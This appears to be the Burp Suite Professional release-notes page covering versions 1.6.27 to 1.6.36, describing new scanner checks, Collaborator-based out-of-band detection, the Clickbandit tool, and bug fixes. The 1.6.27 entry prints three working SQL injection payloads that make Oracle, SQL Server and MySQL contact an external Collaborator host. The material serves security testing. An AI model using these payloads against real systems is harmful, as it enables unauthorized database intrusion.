login

Burp Suite, the leading toolkit for web application security testing

Burp Suite Professional - Release Notes

Wednesday, January 27, 2016

1.6.36

This release adds a new scan check for client-side template injection.

It is very common for applications that use AngularJS to incorporate user input into HTML responses within the client-side template. AngularJS has a long history of sandbox escapes that permit execution of arbitrary JavaScript via template expressions. Hence, when user input is echoed within AngularJS templates, it is frequently possible to perform XSS attacks using minimal syntax that is not usually sufficient to perform XSS, and so not blocked by input filters.

See today's blog post for a full description of this issue, and a list of sandbox escapes in recent versions of AngularJS.

MD5: 50d6256805893e5105941f5d85ca2c3d
SHA256: 2335c3111ea8e3ba7d53ace55f2f69761843aab5e53460a89137a945cb4ccf8a

Thursday, January 21, 2016

1.6.35

This release adds the capability to report three new Scanner issues relating to HTTPS:
  • Unencrypted communications - This is reported when requests are made to a host using plain HTTP. In the near future, browsers will display a prominent security warning whenever this occurs. Due to recent revelations about the mass interception of unencrypted communications by various powerful adversaries, there is a push to use HTTPS everywhere. See the screenshot below for more details.
  • Mixed content - This is reported when a page is loaded over HTTPS but loads other resources, such as scripts and images, over plain HTTP. Modern browsers are disabling the affected resources by default, leading to usability issues when mixed content is used. If a user elects to re-enable mixed content, then this presents a security issue.
  • Strict transport security not enforced - This is reported when a host fails to prevent users from connecting to it over plain HTTP, using the Strict-Transport-Security header. In this situation, a suitably positioned attacker can bypass the use of SSL by rewriting HTTPS links as HTTP.


MD5: c716529989c152f99e1f82ed78e99aad
SHA256: 9cd602308d405e4d9b5c39c0b62ca3a351a20bbc794c7d82d62300abcbdbb703

Saturday, January 16, 2016

1.6.34

This release fixes a bug that was introduced in 1.6.33. The effect of the bug was that state files generated by 1.6.33 containing certain newly discovered Scanner issues would fail to restore properly. The bug is now fixed and the affected state files generated by 1.6.33 should now restore correctly.

MD5: 62157ff3377cb139729cc1f7d83be7d5
SHA256: 77b28f05e8abbdf479554e1b5851f85aa5241ca1e81e5c5a233b214508d3c515

Wednesday, January 13, 2016

1.6.33

This release adds the ability to detect blind XSS, via Burp Collaborator.

Blind XSS is a special type of stored XSS in which the data retrieval point is not accessible by the attacker - for example, due to lack of privileges. This makes the vulnerability very difficult to test for using conventional techniques. In many cases, there is no hint whatsoever in the application's visible functionality that a vulnerability exists. Since security testers are in the habit of spraying target applications with alert(1) type payloads, countless admins have been hit by harmless alert boxes, indicating a juicy bug that the tester never finds out about. Due to the inherent difficulty in detecting blind XSS vulnerabilities, these bugs remain relatively prevalent, still waiting to be discovered. This new release of Burp empowers testers to easily find these critical vulnerabilities, with no special configuration or other tools required.

Previously, Burp Scanner has used purely in-band techniques to detect stored XSS. This involves first scanning the data entry point, later scanning the data retrieval point, identifying the connection between the two, and then supplying suitable payloads to the entry point to formulate a proof-of-concept attack. This approach can often be effective, but has some significant limitations:
  • It cannot detect blind XSS, because the data retrieval point is not accessible.
  • It requires that the entry and retrieval points are scanned in the correct order.
  • It is highly vulnerable to previously submitted data being overwritten by another user's actions in the time between scanning the entry and retrieval points.
Burp still uses conventional in-band techniques to detect stored XSS, but now also sends payloads like this:


This payload starts with a multi-context break-out sequence which, in all normal retrieval locations, will convert the HTML context to one where JavaScript can be executed. It then executes some script that triggers a connection to the Burp Collaborator server. This out-of-band interaction enables Burp to confirm when the payload has been successful. For more details on the breakdown of this payload, see our blog post on hunting asynchronous vulnerabilities.

The new approach to finding stored XSS has some significant benefits:
  • It can detect blind XSS, provided that another user, such as an administrator, eventually views a page containing the stored payload.
  • It only requires that the entry point be scanned by Burp. Other users' interaction with the application, or the Burp tester's own browser-based use of the application (if non-blind), is likely to lead to connections to the Collaborator server that enable Burp to report the issue.
  • Even where the stored data is short-lived, and has been overwritten by the time the Burp tester visits or scans the retrieval point, Burp may still detect the issue due to other users viewing the data.
  • As with other deferred Collaborator interactions, Burp can report stored XSS issues after the Burp user has finished testing, without any additional requests to the application.
Below is an example of what Burp's advisory looks like for a blind XSS issue that has been discovered via Burp Collaborator. This example uses a simpler payload that works in many situations. Note that Burp nicely identifies the Referer header from the incoming HTTP request to the Collaborator server, which will normally indicate the retrieval point where the payload appeared:



MD5: b032280fbfdc77395e9ef896c8d1b976
SHA256: c7ac01d3819094f314b57deb12cd63a3e1e1a4c6d9bd7f1e4a29cbf4e7b8f4b1

Wednesday, December 9, 2015

1.6.32

This release introduces a brand new tool: Burp Clickbandit.

Burp Clickbandit is a tool for generating clickjacking attacks. When you have found a web page that may be vulnerable to clickjacking, you can use Burp Clickbandit to create an attack, to confirm that the vulnerability can be successfully exploited.

Burp Clickbandit is built in pure JavaScript, and is easy to use. In Burp, go to the Burp menu and choose "Burp Clickbandit". Copy the script to your clipboard, and paste it into the web developer console in your browser. It works on all modern browsers except for Microsoft IE and Edge.

For more details about how Burp Clickbandit works and how to use it, see the blog post.

This release also adds the following enhancements:
  • There is a new option in the Proxy to set the "Connection: close" header on incoming requests. Setting this header in requests can speed up the processing of the resulting responses from some target servers. The new option is on by default.
  • When generating the CA certificate used by the Proxy, Burp now uses a 2048-bit key if that is supported by the platform, and fails over to a 1024-bit key if not. Some modern clients are rejecting certificates that use a key length shorter than 2048 bits. If you encounter this problem, you can tell Burp to generate a new CA certificate at Proxy / Options / Proxy Listeners / Regenerate CA certificate, and you will need to install the regenerated certificate in your browser in the normal way.
Burp Suite Professional:
MD5: 60d496721e75bc7f73106991f68514ff
SHA256: 45563deb20309c9b4b79b771c76bc55631cdd030ae9c6c72b359cfb1d156e42d

Burp Suite Free Edition:
MD5: ea4e6bac280f854a2125e631a6c82a1c
SHA256: 7a27e95d86dc38cf261485c2050851715181cdce6b8cb0052239c5970fa94543

Wednesday, December 2, 2015

1.6.31

This release enhances Burp Scanner to report issues based on deferred interactions with the Burp Collaborator server.

Asynchronous server-side injection vulnerabilities are normally invisible in an application's responses, and completely elude conventional scanning techniques. To detect invisible vulnerabilities, Burp Scanner uses payloads that cause the application to make some kind of network connection to the Collaborator server. When an interaction with the Collaborator server is observed, this demonstrates that the payload was successful and a vulnerability is present.

In this release, invisible vulnerabilities are reported even when the interaction occurs after Burp has finished scanning the relevant item. After scanning has completed, Burp continues polling the Collaborator server in the background, and retrospectively reports issues when deferred interactions occur. This cutting-edge capability allows Burp to report all kinds of serious issues that are otherwise impossible to detect, for example:
  • Blind second-order SQL injection, where a payload gets stored and later used in an unsafe SQL query, with no behavioral evidence in the application's responses.
  • OS command injection in an overnight batch job that passes stored user input into shell commands in an unsafe way.
  • Asynchronous back-end SOAP/XML injection where user input is stored and later embedded in an XML-based message in an unsafe way.
Each Burp session uses a unique identifier to track Collaborator interactions, and this can optionally be included in the Burp state file when saving your work. This means that you can later reload a state file containing completed scans, and observe any asynchronous Collaborator interactions that have occurred since you finished the original scanning. On reloading the state file, Burp will poll the Collaborator server and report issues based on any new interactions that have occurred for that Burp session. 

Burp polls the Collaborator for asynchronous interactions every few minutes. When an asynchronous interaction is detected, Burp reports the issue without making any in-band requests to the target application. This means that you can safely revisit completed scans to pick up any asynchronous vulnerabilities even if the time window for testing is over. So imagine this: you finish testing on Friday without any decent issues; you load the Burp state file on Monday to start writing your report, and discover that one of your payloads has detected a command injection vulnerability in a shell script that runs over the weekend. Pretty cool?

[In fact, Burp began optionally saving Collaborator identifiers in state files starting with version 1.6.29. So if you have a state file from a test that was carried out with Burp 1.6.29 or later, you can reload it into the latest release to see if any deferred Collaborator interactions have occurred since you completed your testing.]

People are accustomed to seeing Burp report vulnerabilities during scanning, and not afterwards. To help users identify when deferred Collaborator interactions have occurred, a number of related useful features have been added:
  • The Scanner has a new "Issue activity" tab that contains a sequential record of when issues are created or updated. You can monitor this tab to view everything that is reported by the Scanner in time order, including detection of deferred Collaborator interactions.
  • When an issue is reported based on a deferred Collaborator interaction, the issue detail indicates the approximate elapsed time between the relevant scan completing and the interaction occurring.
  • The active scan queue has two new columns indicating the times that scanning started and ended for each item. This can help correlate the timings of Scanner activity and observed Collaborator interactions.
Note: The reporting of elapsed time between scan and interaction depends on some new capabilities in the Collaborator server. It is recommended that users who have deployed a private Collaborator server should upgrade to the latest Burp release, to gain the benefit of this feature.

In addition, some other updates have been made:
  • The BlazeDS library used for analyzing AMF messages has been updated to the latest version. This fixes some additional security vulnerabilities in BlazeDS's handling of malicious messages, which were found by the Burp research team. Since Burp version 1.6.29, Burp has disabled support for AMF messages by default, due to security concerns about the BlazeDS library. Any users who have enabled the option to support AMF messages should upgrade to the new release of Burp.
  • A problem comparing site maps from certain Burp state files has been fixed.
  • A problem installing some PKCS#11 certificates has been fixed.
  • All available command line arguments can now be listed by specifying the --help argument on the command line.
Burp Suite Professional
MD5: efdc0f3c468cbab6be3ae59c79e5bcdb
SHA256: 495f7ef5847836272678315a9d218b58534b11472cd041b5b954fb5926cdf79c

Burp Suite Free Edition
MD5: 425f0b339453c57e6628850381e36620
SHA256: 3e120b275e381840b549fcd9242950b1c74d4cc259b56b9422c11f00dfa26dc7

Tuesday, October 20, 2015

1.6.30

This release fixes a bug that was introduced in 1.6.29 in the handling of cookies in session handling rules. When a session handling rule attempts to update the values of multiple cookies within a single request, the bug caused this operation to fail in some situations, with the result that the request might be made out of session.

Burp Suite Professional:
MD5: e7e8cb9012cd2c81faf39ac877fb18e6
SHA256: 99baa396c9f7065791f1dc024919e25a63d7a9422ef502470620c41f859f9803

Burp Suite Free Edition:
MD5: e4a752d67ac23d0e1c103b694b42cb0b
SHA256: b048e08264de811a75e180aedf1fbf92bec9c3f8bc0016017e67a0a529b92768

Monday, October 19, 2015

1.6.29

This release updates Burp to include a security fix in the BlazeDS library that Burp uses for parsing AMF messages, and disables AMF support by default:
  • AMF messages can contain embedded XML content, and this is processed by the BlazeDS library when it parses AMF messages. BlazeDS has been found to contain an XXE vulnerability in its processing of XML embedded within AMF messages. In the context of Burp, the potential impact of the vulnerability is that a malicious target application could read the contents of files from the Burp user's computer, provided it knows the names of those files. A malicious application could perform this attack if it generates a suitable AMF message and the user browses via Burp to a response containing the AMF message. The latest version of BlazeDS contains a fix for the XXE vulnerability, and Burp has been updated to use the new version of the library. Thanks are due to David Klein from Context Information Security for drawing our attention to this issue.
  • It is well known that XML parsing is fraught with problems, as is demonstrated by Burp Scanner's XML checks. To reduce the impact of any further issues within BlazeDS, Burp has been updated so that by default it disables the AMF tab within the HTTP message editor, and disables AMF insertion points in the Scanner. Users can turn on these options if they are testing a trusted application that uses AMF messages. It is recommended that users do not enable AMF processing when accessing any untrusted application functionality or content.
Burp's cookie jar has been updated to support the cookie path attribute. The cookie jar is now able to track multiple cookies from the same domain with the same name, but which are scoped to different application paths. Burp's session handling rules now correctly update cookies in requests based on the path attribute.

The functions to save and restore state now include options for handling the unique identifier that Burp uses to track interactions with Burp Collaborator. Each Burp project/session generates a unique identifier that is used to track any Burp Collaborator interactions that are associated with the project. If two users share a state file, and each continues testing from that point, there is the potential for interference in Collaborator interactions, causing some Collaborator-based issues to be missed or incorrectly reported. When saving state, you can now choose whether to include the identifier within the state file, so that you or someone else can resume the testing later. When loading a state file that was saved using a different installation of Burp and which contains a Collaborator identifier, you can now choose whether to take full ownership of the project and receive details of any ongoing Collaborator interactions that are associated with the project. 

(Note that each fresh Burp project/session generates a new random Collaborator identifier, so there is no risk of permanent cross-talk between different Burp instances, regardless of the options chosen when sharing a specific state file.)

A bug affecting the importing of some custom CA certificates in PKCS#12 format has been fixed.

Burp Suite Professional:
MD5: bec6d3149193488adac77e2c45d4eafa
SHA256: d8706d3777ab710c6d7e069e9e6c953b515d0e4233ec4c531a310b89f62ae489

Burp Suite Free Edition:
MD5: c940c22451c53c5f7fda8cba2b151b2a
SHA256: 722b831cf899f23573e80f7ba856d1b9316de090be13e73ef0d026b877957687

Tuesday, October 6, 2015

1.6.28

This release adds the ability to annotate the active scan queue with comments and highlights, as is already possible in the Proxy history and Target site map:


Recently, we removed the ability to delete items from the active scan queue. This was done in preparation for some planned new capabilities that will enable the Scanner to retrospectively report issues for scan queue items that have finished scanning. For this capability to work, we needed to retain the full scan queue history. Some users have complained that they were using the deletion of items as part of their testing workflow. To address this issue, we have added the ability to apply comments and highlights to scan queue items. This provides an improved alternative to the previous workflow that these users were following.

A number of other changes have been made:
  • The performance of the Target site map when selecting tree branches containing very large numbers of scan issues has been dramatically improved.
  • The process of configuring Burp to use a PKCS#11 certificate has been improved. You can now manually select the required card slot during installation, swap cards at runtime, and reload configuration from state files more easily.
  • There is a new Scanner option to create an insertion point for the entire request body, for relevant content types. This currently applies to requests with XML or JSON content in the request body. This insertion point is enabled by default, and should allow detection of some additional edge-case vulnerabilities (e.g. server-side JavaScript injection where an entire request body containing JSON is passed to the JavaScript eval function).
  • The Scanner insertion point type that was previously called "REST-style URL parameters" has been replaced with two insertion point types, covering URL path folders and the final URL filename. The filename insertion point is enabled by default, while folder insertion points are still disabled. This change should improve Burp's detection of some issues in its default configuration, such as XSS through reflection of the full URL path excluding the query string.
  • A bug that caused occasional corruption of saved state files and prevented them from correctly reloading has been fixed.
  • Scanner issues that are reported by Burp extensions are now identified as such within the UI and scan reports. This was primarily done to reduce the number of support tickets relating to defects in the wording of extension-generated issues.
  • The temporary directories created by Burp should now not be world-readable on any platforms, to prevent direct access to Burp's temporary files from other users on a multi-user machine. Note that by default such users can in any case access a large quantity of sensitive data, and interfere with Burp's operation, via the default Proxy listener on 127.0.0.1:8080. Users are encouraged not to use Burp on a machine that is shared with untrusted users.
Burp Suite Professional:
MD5: 2e9dbfa9b582cab1684ae2750eb95c8e
SHA256: 2ce0e85e30a39c9d3e1a1dac363dd57af69f50a4d8c81c9dc870b7852c32edaa

Burp Suite Free Edition:
MD5: 058b1ce8993318498f8e25ee6d09853c
SHA256: a3cedb8a2223287328273d7a2b928adde69e33f08ade6934b0a968bfb05bfd8e

Friday, September 11, 2015

1.6.27

This release adds the ability to detect completely blind SQL injection by triggering interactions with Burp Collaborator.

Previously, Burp Scanner has used various evidence to detect SQL injection, including:
  • Error messages
  • Differential responses through injected Boolean conditions
  • Time delays
Each of these techniques involves sending payloads designed to trigger some kind of difference in the application's immediate response, whether in its actual contents or the time taken to receive it. In some situations, SQL injection conditions can exist that just cannot be found in this way, because there is no way to induce any difference in the application's immediate response.

Enter Burp Collaborator. Burp Scanner now sends payloads like:

'||(select extractvalue(xmltype(
'<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ 
<!ENTITY % glrvh SYSTEM "http://fcvlarzebywms16gggoy7tvo.burpcollaborator.net/">%glrvh;]>'
),'/l') from dual)||'

';exec master.dbo.xp_dirtree
'\\thezf54sgc10xfbulutcc702ito.burpcollaborator.net\plu'--

'+(select load_file(
'\\\\y6544atx5hq5mk0zazih1cp77yd.burpcollaborator.net\\oyt'))+'

and reports an appropriate issue based on any observed interactions (DNS or HTTP) that reach the Burp Collaborator server.

The above payloads work, respectively, on Oracle, Microsoft SQL Server, and MySQL (running on Windows). Each payload breaks out of the existing SQL query context and uses a database-specific technique to induce the database to perform some kind of network interaction with Burp Collaborator, through either a web URL or a UNC file path.

As things stand, having searched high and low, we have yet to find a similar technique that works against MySQL running on Linux. We would be highly appreciative if anyone can come up with a generic and feasible payload that safely induces MySQL on Linux to interact with an arbitrary external domain, without causing damage to any target systems or data. The first person to email us a qualifying payload will be quite literally showered in Burp Suite swag, including a highly-coveted T-shirt.

MD5: 53ca7d4a8ec8df95f81da624154916a7
SHA256: a242b4e0b611e3ef4302af42d36fd2be52479d98b595ecb67b1c143915dc312d

Support Center

Get help and join the community discussions at the Burp Suite Support Center.

Visit the Support Center ›

Copyright 2016 PortSwigger Ltd. All rights reserved.